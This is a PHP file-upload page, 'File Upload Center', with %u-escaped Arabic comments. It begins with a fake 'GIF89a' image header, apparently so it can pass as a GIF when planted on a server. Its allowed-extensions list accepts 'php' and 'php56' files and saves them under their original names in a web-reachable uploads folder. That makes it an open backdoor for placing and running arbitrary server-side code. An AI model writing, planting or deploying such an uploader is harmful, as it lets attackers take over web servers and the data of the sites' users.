GIF89a

// %u062A%u0639%u0631%u064A%u0641 %u0627%u0644%u0645%u0633%u0627%u0631 %u062D%u064A%u062B %u0633%u064A%u062A%u0645 %u0631%u0641%u0639 %u0627%u0644%u0645%u0644%u0641%u0627%u062A
$uploadDir = 'uploads/';
$allowedExts = array('php', 'php56', 'jpg', 'jpeg', 'png', 'gif');
$maxFileSize = 5 * 1024 * 1024; // 5 %u0645%u064A%u062C%u0627%u0628%u0627%u064A%u062A
// %u0625%u0646%u0634%u0627%u0621 %u0627%u0644%u0645%u062C%u0644%u062F %u0625%u0630%u0627 %u0644%u0645 %u064A%u0643%u0646 %u0645%u0648%u062C%u0648%u062F%u064B%u0627
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
// %u0627%u0644%u062A%u062D%u0642%u0642 %u0645%u0646 %u0631%u0641%u0639 %u0645%u0644%u0641
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['file'])) {
$file = $_FILES['file'];
$fileName = basename($file['name']);
$filePath = $uploadDir . $fileName;
$fileExt = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));
// %u0627%u0644%u062A%u062D%u0642%u0642 %u0645%u0646 %u0646%u0648%u0639 %u0627%u0644%u0645%u0644%u0641
if (in_array($fileExt, $allowedExts) && $file['size'] <= $maxFileSize) {
// %u0627%u0644%u062A%u062D%u0642%u0642 %u0645%u0646 %u0631%u0641%u0639 %u0627%u0644%u0645%u0644%u0641 %u0628%u0646%u062C%u0627%u062D
if (move_uploaded_file($file['tmp_name'], $filePath)) {
echo "<p>File uploaded successfully: <a href=\"$filePath\">$fileName</a></p>";
} else {
echo "<p>Error uploading file.</p>";
}
} else {
echo "<p>Invalid file type or file size exceeds limit.</p>";
}
}

<!DOCTYPE html>


File Upload Center <title>File Upload Center</title>
<style>
body { background-color: #000; color: #fff; text-align: center; padding: 50px; }
input[type="file"] { color: #000; }
input[type="submit"] { background-color: #444; color: #fff; border: none; padding: 10px 20px; }
input[type="submit"]:hover { background-color: #666; }
</style>


Upload Files